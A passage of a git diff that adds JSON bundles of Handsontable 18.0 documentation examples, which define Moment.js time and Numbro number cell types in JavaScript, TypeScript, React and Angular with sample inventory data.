    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { getRenderer } from 'handsontable/renderers';\nimport { getEditor } from 'handsontable/editors';\nimport { registerCellType } from 'handsontable/cellTypes';\nimport moment from 'moment';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\n/* start:skip-in-preview */\nconst data = [\n {\n id: 640329,\n itemName: 'Lunar Core',\n itemNo: 'XJ-12',\n leadEngineer: 'Ellen Ripley',\n cost: 350000,\n inStock: true,\n category: 'Lander',\n itemQuality: 87,\n origin: '🇺🇸 USA',\n quantity: 2,\n valueStock: 700000,\n repairable: false,\n supplierName: 'TechNova',\n time: '09:30',\n operationalStatus: 'Awaiting Parts',\n },\n {\n id: 863104,\n itemName: 'Zero Thrusters',\n itemNo: 'QL-54',\n leadEngineer: 'Sam Bell',\n cost: 450000,\n inStock: false,\n category: 'Propulsion',\n itemQuality: 0,\n origin: '🇩🇪 Germany',\n quantity: 0,\n valueStock: 0,\n repairable: true,\n supplierName: 'PropelMax',\n time: '14:15',\n operationalStatus: 'In Maintenance',\n },\n {\n id: 395603,\n itemName: 'EVA Suits',\n itemNo: 'PM-67',\n leadEngineer: 'Alex Rogan',\n cost: 150000,\n inStock: true,\n category: 'Equipment',\n itemQuality: 79,\n origin: '🇮🇹 Italy',\n quantity: 50,\n valueStock: 7500000,\n repairable: true,\n supplierName: 'SuitCraft',\n time: '08:00',\n operationalStatus: 'Ready for Testing',\n },\n {\n id: 679083,\n itemName: 'Solar Panels',\n itemNo: 'BW-09',\n leadEngineer: 'Dave Bowman',\n cost: 75000,\n inStock: true,\n category: 'Energy',\n itemQuality: 95,\n origin: '🇺🇸 USA',\n quantity: 10,\n valueStock: 750000,\n repairable: false,\n supplierName: 'SolarStream',\n time: '16:45',\n operationalStatus: 'Operational',\n },\n {\n id: 912663,\n itemName: 'Comm Array',\n itemNo: 'ZR-56',\n leadEngineer: 'Louise Banks',\n cost: 125000,\n inStock: false,\n category: 'Communication',\n itemQuality: 0,\n origin: '🇯🇵 Japan',\n quantity: 0,\n valueStock: 0,\n repairable: true,\n supplierName: 'CommTech',\n time: '11:20',\n operationalStatus: 'Decommissioned',\n },\n {\n id: 315806,\n itemName: 'Habitat Dome',\n itemNo: 'UJ-23',\n leadEngineer: 'Dr. Ryan Stone',\n cost: 1000000,\n inStock: true,\n category: 'Shelter',\n itemQuality: 93,\n origin: '🇨🇦 Canada',\n quantity: 3,\n valueStock: 3000000,\n repairable: false,\n supplierName: 'DomeInnovate',\n time: '23:00',\n operationalStatus: 'Operational',\n },\n];\n/* end:skip-in-preview */\n// Get the DOM element with the ID 'example1' where the Handsontable will be rendered\nconst container = document.querySelector('#example1')!;\nconst cellTimeTypeDefinition = {\n renderer: getRenderer('text'),\n validator: function(value, callback) {\n const timeFormat = this.timeFormat ?? 'h:mm:ss a';\n let valid = true;\n\n if (value === null) {\n value = '';\n }\n\n value = /^\\d{3,}$/.test(value) ? parseInt(value, 10) : value;\n\n const twoDigitValue = /^\\d{1,2}$/.test(value);\n\n if (twoDigitValue) {\n value += ':00';\n }\n\n const date = moment(value, [\n 'YYYY-MM-DDTHH:mm:ss.SSSZ',\n 'X', // Unix timestamp\n 'x' // Unix ms timestamp\n ], true).isValid() ?\n moment(value) : moment(value, timeFormat);\n let isValidTime = date.isValid();\n\n // is it in the specified format\n let isValidFormat = moment(value, timeFormat, true).isValid() && !twoDigitValue;\n\n if (this.allowEmpty && value === '') {\n isValidTime = true;\n isValidFormat = true;\n }\n if (!isValidTime) {\n valid = false;\n }\n if (!isValidTime && isValidFormat) {\n valid = true;\n }\n if (isValidTime && !isValidFormat) {\n if (this.correctFormat === true) {\n const correctedValue = date.format(timeFormat);\n\n this.instance.setDataAtCell(this.visualRow, this.visualCol, correctedValue, 'timeValidator');\n valid = true;\n } else {\n valid = false;\n }\n }\n\n callback(valid);\n },\n editor: getEditor('text'),\n};\n\nregisterCellType('moment-time', cellTimeTypeDefinition);\n\n// Define configuration options for the Handsontable\nconst hotOptions: Handsontable.GridSettings = {\n data,\n colHeaders: ['Item Name', 'Category', 'Lead Engineer', 'Arrival Time', 'Cost'],\n autoRowSize: true,\n rowHeaders: true,\n height: 'auto',\n width: '100%',\n autoWrapRow: true,\n headerClassName: 'htLeft',\n columns: [\n { data: 'itemName', type: 'text', width: 130 },\n { data: 'category', type: 'text', width: 120 },\n { data: 'leadEngineer', type: 'text', width: 150 },\n {\n data: 'time',\n type: 'moment-time',\n width: 150,\n timeFormat: 'HH:mm',\n correctFormat: true,\n },\n {\n data: 'cost',\n type: 'numeric',\n width: 120,\n className: 'htRight',\n numericFormat: {\n pattern: '$0,0.00',\n culture: 'en-US',\n },\n },\n ],\n licenseKey: 'non-commercial-and-evaluation',\n};\n\n// Initialize the Handsontable instance with the specified configuration options\n// eslint-disable-next-line no-unused-vars\nconst hot = new Handsontable(container, hotOptions);","/src/main.ts":"import \"../index.ts\";"},"docsPath":"recipes/cell-types/moment-time/javascript/example1.ts","breadcrumb":["Recipes","Cell Types","Moment.js-based time"],"guide":"recipes/cell-types/moment-time/moment-time.md","guideTitle":"Moment.js-based time","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/recipes/cell-types/moment-time","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__moment-time__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__moment-time__react__example1.tsx.json new file mode 100644 index 00000000..279d482e --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__moment-time__react__example1.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Recipes ▸ Cell Types ▸ Moment.js-based time · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\",\n \"moment\": \"2.30.1\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable, HotColumn } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\nimport { getRenderer } from 'handsontable/renderers';\nimport { getEditor } from 'handsontable/editors';\nimport { registerCellType } from 'handsontable/cellTypes';\nimport moment from 'moment';\n\nregisterAllModules();\n\nconst cellTimeTypeDefinition = {\n renderer: getRenderer('text'),\n validator(this: any, value: string | number, callback: (valid: boolean) => void) {\n const timeFormat: string = this.timeFormat ?? 'h:mm:ss a';\n let valid = true;\n\n if (value === null) {\n value = '';\n }\n\n value = /^\\d{3,}$/.test(String(value)) ? parseInt(String(value), 10) : value;\n\n const twoDigitValue = /^\\d{1,2}$/.test(String(value));\n\n if (twoDigitValue) {\n value = `${value}:00`;\n }\n\n const date = moment(\n value,\n [\n 'YYYY-MM-DDTHH:mm:ss.SSSZ',\n 'X',\n 'x',\n ],\n true\n ).isValid()\n ? moment(value)\n : moment(value, timeFormat);\n\n let isValidTime = date.isValid();\n let isValidFormat = moment(value, timeFormat, true).isValid() && !twoDigitValue;\n\n if (this.allowEmpty && value === '') {\n isValidTime = true;\n isValidFormat = true;\n }\n\n if (!isValidTime) {\n valid = false;\n }\n\n if (!isValidTime && isValidFormat) {\n valid = true;\n }\n\n if (isValidTime && !isValidFormat) {\n if (this.correctFormat === true) {\n const correctedValue = date.format(timeFormat);\n\n this.instance.setDataAtCell(this.visualRow, this.visualCol, correctedValue, 'timeValidator');\n valid = true;\n } else {\n valid = false;\n }\n }\n\n callback(valid);\n },\n editor: getEditor('text'),\n};\n\nregisterCellType('moment-time', cellTimeTypeDefinition);\n\n/* start:skip-in-preview */\ninterface InventoryItem {\n id: number;\n itemName: string;\n itemNo: string;\n leadEngineer: string;\n cost: number;\n inStock: boolean;\n category: string;\n itemQuality: number;\n origin: string;\n quantity: number;\n valueStock: number;\n repairable: boolean;\n supplierName: string;\n time: string;\n operationalStatus: string;\n}\n\nconst data: InventoryItem[] = [\n {\n id: 640329,\n itemName: 'Lunar Core',\n itemNo: 'XJ-12',\n leadEngineer: 'Ellen Ripley',\n cost: 350000,\n inStock: true,\n category: 'Lander',\n itemQuality: 87,\n origin: '🇺🇸 USA',\n quantity: 2,\n valueStock: 700000,\n repairable: false,\n supplierName: 'TechNova',\n time: '09:30',\n operationalStatus: 'Awaiting Parts',\n },\n {\n id: 863104,\n itemName: 'Zero Thrusters',\n itemNo: 'QL-54',\n leadEngineer: 'Sam Bell',\n cost: 450000,\n inStock: false,\n category: 'Propulsion',\n itemQuality: 0,\n origin: '🇩🇪 Germany',\n quantity: 0,\n valueStock: 0,\n repairable: true,\n supplierName: 'PropelMax',\n time: '14:15',\n operationalStatus: 'In Maintenance',\n },\n {\n id: 395603,\n itemName: 'EVA Suits',\n itemNo: 'PM-67',\n leadEngineer: 'Alex Rogan',\n cost: 150000,\n inStock: true,\n category: 'Equipment',\n itemQuality: 79,\n origin: '🇮🇹 Italy',\n quantity: 50,\n valueStock: 7500000,\n repairable: true,\n supplierName: 'SuitCraft',\n time: '08:00',\n operationalStatus: 'Ready for Testing',\n },\n {\n id: 679083,\n itemName: 'Solar Panels',\n itemNo: 'BW-09',\n leadEngineer: 'Dave Bowman',\n cost: 75000,\n inStock: true,\n category: 'Energy',\n itemQuality: 95,\n origin: '🇺🇸 USA',\n quantity: 10,\n valueStock: 750000,\n repairable: false,\n supplierName: 'SolarStream',\n time: '16:45',\n operationalStatus: 'Operational',\n },\n {\n id: 912663,\n itemName: 'Comm Array',\n itemNo: 'ZR-56',\n leadEngineer: 'Louise Banks',\n cost: 125000,\n inStock: false,\n category: 'Communication',\n itemQuality: 0,\n origin: '🇯🇵 Japan',\n quantity: 0,\n valueStock: 0,\n repairable: true,\n supplierName: 'CommTech',\n time: '11:20',\n operationalStatus: 'Decommissioned',\n },\n {\n id: 315806,\n itemName: 'Habitat Dome',\n itemNo: 'UJ-23',\n leadEngineer: 'Dr. Ryan Stone',\n cost: 1000000,\n inStock: true,\n category: 'Shelter',\n itemQuality: 93,\n origin: '🇨🇦 Canada',\n quantity: 3,\n valueStock: 3000000,\n repairable: false,\n supplierName: 'DomeInnovate',\n time: '23:00',\n operationalStatus: 'Operational',\n },\n];\n/* end:skip-in-preview */\n\nconst ExampleComponent = () => {\n return (\n \n \n \n \n \n \n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"recipes/cell-types/moment-time/react/example1.tsx","breadcrumb":["Recipes","Cell Types","Moment.js-based time"],"guide":"recipes/cell-types/moment-time/moment-time.md","guideTitle":"Moment.js-based time","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/recipes/cell-types/moment-time","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__numbro__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__numbro__angular__example1.ts.json new file mode 100644 index 00000000..e7cd1c80 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__numbro__angular__example1.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Recipes ▸ Cell Types ▸ Numbro · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\",\n \"numbro\": \"2.5.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\nimport numbro from 'numbro';\nimport languages from 'numbro/dist/languages.min.js';\nimport { rendererFactory, getRenderer } from 'handsontable/renderers';\nimport { getEditor } from 'handsontable/editors';\nimport { getValidator } from 'handsontable/validators';\nimport { registerCellType } from 'handsontable/cellTypes';\n\nObject.values(languages).forEach((language: any) => numbro.registerLanguage(language));\n\nfunction isNumeric(value: any): boolean {\n const type = typeof value;\n\n if (type === 'number') {\n return !isNaN(value) && isFinite(value);\n } else if (type === 'string') {\n if (value.length === 0) {\n return false;\n } else if (value.length === 1) {\n return /\\d/.test(value);\n }\n\n const delimiter = Array.from(new Set(['.']))\n .map((d) => `\\\\${d}`)\n .join('|');\n\n return new RegExp(\n `^[+-]?(((${delimiter})?\\\\d+((${delimiter})\\\\d+)?(e[+-]?\\\\d+)?)|(0x[a-f\\\\d]+))$`,\n 'i'\n ).test(value.trim());\n } else if (type === 'object') {\n return !!value && typeof value.valueOf() === 'number' && !(value instanceof Date);\n }\n\n return false;\n}\n\nconst cellTypeDefinition = {\n CELL_TYPE: 'numbro',\n renderer: rendererFactory(({ hotInstance, td, row, col, prop, value, cellProperties }: any) => {\n if (isNumeric(value)) {\n let classArr: string[] = [];\n\n if (Array.isArray(cellProperties.className)) {\n classArr = cellProperties.className;\n } else {\n const className = cellProperties.className ?? '';\n\n if (className.length) {\n classArr = className.split(' ');\n }\n }\n\n const numericFormat = cellProperties.numericFormat;\n const cellCulture = (numericFormat && numericFormat.culture) || 'en-US';\n const cellFormatPattern = numericFormat && numericFormat.pattern;\n\n if (cellCulture && !numbro.languages()[cellCulture]) {\n const shortTag = cellCulture.replace('-', '');\n const langData = (numbro as any).allLanguages\n ? (numbro as any).allLanguages[cellCulture]\n : (numbro as any)[shortTag];\n\n if (langData) {\n numbro.registerLanguage(langData);\n }\n }\n\n numbro.setLanguage(cellCulture);\n value = numbro(value).format(cellFormatPattern ?? '0');\n\n if (\n classArr.indexOf('htLeft') < 0 &&\n classArr.indexOf('htCenter') < 0 &&\n classArr.indexOf('htRight') < 0 &&\n classArr.indexOf('htJustify') < 0\n ) {\n classArr.push('htRight');\n }\n\n if (classArr.indexOf('htNumeric') < 0) {\n classArr.push('htNumeric');\n }\n\n cellProperties.className = classArr.join(' ');\n td.dir = 'ltr';\n }\n\n getRenderer('text')(hotInstance, td, row, col, prop, value, cellProperties);\n }),\n validator: getValidator('numeric'),\n editor: getEditor('numeric'),\n};\n\nregisterCellType('numbro', cellTypeDefinition);\n\n@Component({\n standalone: true,\n imports: [HotTableModule],\n selector: 'example1-numbro',\n template: `
    `,\n})\nexport class AppComponent {\n readonly data = [\n {\n itemName: 'Lunar Core',\n category: 'Lander',\n leadEngineer: 'Ellen Ripley',\n quantity: 2,\n cost: 350000,\n },\n {\n itemName: 'Zero Thrusters',\n category: 'Propulsion',\n leadEngineer: 'Sam Bell',\n quantity: 0,\n cost: 450000,\n },\n {\n itemName: 'EVA Suits',\n category: 'Equipment',\n leadEngineer: 'Alex Rogan',\n quantity: 50,\n cost: 150000,\n },\n {\n itemName: 'Solar Panels',\n category: 'Energy',\n leadEngineer: 'Dave Bowman',\n quantity: 10,\n cost: 75000,\n },\n {\n itemName: 'Comm Array',\n category: 'Communication',\n leadEngineer: 'Louise Banks',\n quantity: 0,\n cost: 125000,\n },\n {\n itemName: 'Habitat Dome',\n category: 'Shelter',\n leadEngineer: 'Dr. Ryan Stone',\n quantity: 3,\n cost: 1000000,\n },\n ];\n\n readonly gridSettings: GridSettings = {\n colHeaders: ['Item Name', 'Category', 'Lead Engineer', 'Quantity', 'Cost'],\n autoRowSize: true,\n rowHeaders: true,\n height: 'auto',\n width: '100%',\n autoWrapRow: true,\n headerClassName: 'htLeft',\n columns: [\n { data: 'itemName', type: 'text', width: 130 },\n { data: 'category', type: 'text', width: 120 },\n { data: 'leadEngineer', type: 'text', width: 150 },\n {\n data: 'quantity',\n type: 'numbro' as any,\n width: 150,\n className: 'htRight',\n numericFormat: {\n pattern: '0,0',\n culture: 'en-US',\n },\n } as any,\n {\n data: 'cost',\n type: 'numbro' as any,\n width: 120,\n className: 'htRight',\n numericFormat: {\n pattern: '$0,0.00',\n culture: 'en-US',\n },\n } as any,\n ],\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"recipes/cell-types/numbro/angular/example1.ts","breadcrumb":["Recipes","Cell Types","Numbro"],"guide":"recipes/cell-types/numbro/numbro.md","guideTitle":"Numbro","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/recipes/cell-types/numbro","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__numbro__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__numbro__javascript__example1.js.json new file mode 100644 index 00000000..92bcb68c --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__numbro__javascript__example1.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Recipes ▸ Cell Types ▸ Numbro · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"numbro\": \"2.5.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { rendererFactory, getRenderer } from 'handsontable/renderers';\nimport { getEditor } from 'handsontable/editors';\nimport { getValidator } from 'handsontable/validators';\nimport { registerCellType } from 'handsontable/cellTypes';\nimport numbro from 'numbro';\nimport languages from 'numbro/dist/languages.min.js';\n\n// Register all Handsontable's modules.\nregisterAllModules();\nObject.values(languages).forEach((language) => numbro.registerLanguage(language));\n\nfunction isNumeric(value) {\n const type = typeof value;\n\n if (type === 'number') {\n return !isNaN(value) && isFinite(value);\n } else if (type === 'string') {\n if (value.length === 0) {\n return false;\n } else if (value.length === 1) {\n return /\\d/.test(value);\n }\n\n const delimiter = Array.from(new Set(['.']))\n .map((d) => `\\\\${d}`)\n .join('|');\n\n return new RegExp(`^[+-]?(((${delimiter})?\\\\d+((${delimiter})\\\\d+)?(e[+-]?\\\\d+)?)|(0x[a-f\\\\d]+))$`, 'i').test(\n value.trim()\n );\n } else if (type === 'object') {\n return !!value && typeof value.valueOf() === 'number' && !(value instanceof Date);\n }\n\n return false;\n}\n\n/* start:skip-in-preview */\nconst data = [\n {\n id: 640329,\n itemName: 'Lunar Core',\n itemNo: 'XJ-12',\n leadEngineer: 'Ellen Ripley',\n cost: 350000,\n inStock: true,\n category: 'Lander',\n itemQuality: 87,\n origin: '🇺🇸 USA',\n quantity: 2,\n valueStock: 700000,\n repairable: false,\n supplierName: 'TechNova',\n restockDate: '2025-08-01',\n operationalStatus: 'Awaiting Parts',\n },\n {\n id: 863104,\n itemName: 'Zero Thrusters',\n itemNo: 'QL-54',\n leadEngineer: 'Sam Bell',\n cost: 450000,\n inStock: false,\n category: 'Propulsion',\n itemQuality: 0,\n origin: '🇩🇪 Germany',\n quantity: 0,\n valueStock: 0,\n repairable: true,\n supplierName: 'PropelMax',\n restockDate: '2025-09-15',\n operationalStatus: 'In Maintenance',\n },\n {\n id: 395603,\n itemName: 'EVA Suits',\n itemNo: 'PM-67',\n leadEngineer: 'Alex Rogan',\n cost: 150000,\n inStock: true,\n category: 'Equipment',\n itemQuality: 79,\n origin: '🇮🇹 Italy',\n quantity: 50,\n valueStock: 7500000,\n repairable: true,\n supplierName: 'SuitCraft',\n restockDate: '2025-10-05',\n operationalStatus: 'Ready for Testing',\n },\n {\n id: 679083,\n itemName: 'Solar Panels',\n itemNo: 'BW-09',\n leadEngineer: 'Dave Bowman',\n cost: 75000,\n inStock: true,\n category: 'Energy',\n itemQuality: 95,\n origin: '🇺🇸 USA',\n quantity: 10,\n valueStock: 750000,\n repairable: false,\n supplierName: 'SolarStream',\n restockDate: '2025-11-10',\n operationalStatus: 'Operational',\n },\n {\n id: 912663,\n itemName: 'Comm Array',\n itemNo: 'ZR-56',\n leadEngineer: 'Louise Banks',\n cost: 125000,\n inStock: false,\n category: 'Communication',\n itemQuality: 0,\n origin: '🇯🇵 Japan',\n quantity: 0,\n valueStock: 0,\n repairable: true,\n supplierName: 'CommTech',\n restockDate: '2025-12-20',\n operationalStatus: 'Decommissioned',\n },\n {\n id: 315806,\n itemName: 'Habitat Dome',\n itemNo: 'UJ-23',\n leadEngineer: 'Dr. Ryan Stone',\n cost: 1000000,\n inStock: true,\n category: 'Shelter',\n itemQuality: 93,\n origin: '🇨🇦 Canada',\n quantity: 3,\n valueStock: 3000000,\n repairable: false,\n supplierName: 'DomeInnovate',\n restockDate: '2026-01-25',\n operationalStatus: 'Operational',\n },\n];\n\n/* end:skip-in-preview */\n// Get the DOM element with the ID 'example1' where the Handsontable will be rendered\nconst container = document.querySelector('#example1');\nconst cellTypeDefinition = {\n renderer: rendererFactory(({ hotInstance, td, row, col, prop, value, cellProperties }) => {\n if (isNumeric(value)) {\n let classArr = [];\n\n if (Array.isArray(cellProperties.className)) {\n classArr = cellProperties.className;\n } else {\n const className = cellProperties.className ?? '';\n\n if (className.length) {\n classArr = className.split(' ');\n }\n }\n\n const numericFormat = cellProperties.numericFormat;\n const cellCulture = (numericFormat && numericFormat.culture) || 'en-US';\n const cellFormatPattern = numericFormat && numericFormat.pattern;\n\n // Register the language if it's not already registered\n if (cellCulture && !numbro.languages()[cellCulture]) {\n const shortTag = cellCulture.replace('-', '');\n const langData = numbro.allLanguages ? numbro.allLanguages[cellCulture] : numbro[shortTag];\n\n if (langData) {\n numbro.registerLanguage(langData);\n }\n }\n\n numbro.setLanguage(cellCulture);\n value = numbro(value).format(cellFormatPattern ?? '0');\n\n if (\n classArr.indexOf('htLeft') < 0 &&\n classArr.indexOf('htCenter') < 0 &&\n classArr.indexOf('htRight') < 0 &&\n classArr.indexOf('htJustify') < 0\n ) {\n classArr.push('htRight');\n }\n\n if (classArr.indexOf('htNumeric') < 0) {\n classArr.push('htNumeric');\n }\n\n cellProperties.className = classArr.join(' ');\n td.dir = 'ltr';\n }\n\n getRenderer('text')(hotInstance, td, row, col, prop, value, cellProperties);\n }),\n validator: getValidator('numeric'),\n editor: getEditor('numeric'),\n};\n\nregisterCellType('numbro', cellTypeDefinition);\n\n// Define configuration options for the Handsontable\nconst hotOptions = {\n data,\n colHeaders: ['Item Name', 'Category', 'Lead Engineer', 'Quantity', 'Cost'],\n autoRowSize: true,\n rowHeaders: true,\n height: 'auto',\n width: '100%',\n autoWrapRow: true,\n headerClassName: 'htLeft',\n columns: [\n { data: 'itemName', type: 'text', width: 130 },\n { data: 'category', type: 'text', width: 120 },\n { data: 'leadEngineer', type: 'text', width: 150 },\n {\n data: 'quantity',\n type: 'numbro',\n width: 150,\n className: 'htRight',\n numericFormat: {\n pattern: '0,0',\n culture: 'en-US',\n },\n },\n {\n data: 'cost',\n type: 'numbro',\n width: 120,\n className: 'htRight',\n numericFormat: {\n pattern: '$0,0.00',\n culture: 'en-US',\n },\n },\n ],\n licenseKey: 'non-commercial-and-evaluation',\n};\n\n// Initialize the Handsontable instance with the specified configuration options\n// eslint-disable-next-line no-unused-vars\nconst hot = new Handsontable(container, hotOptions);","/src/main.js":"import \"../index.js\";"},"docsPath":"recipes/cell-types/numbro/javascript/example1.js","breadcrumb":["Recipes","Cell Types","Numbro"],"guide":"recipes/cell-types/numbro/numbro.md","guideTitle":"Numbro","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/recipes/cell-types/numbro","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__numbro__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__numbro__javascript__example1.ts.json new file mode 100644 index 00000000..9259a4a6 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__numbro__javascript__example1.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Recipes ▸ Cell Types ▸ Numbro · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": 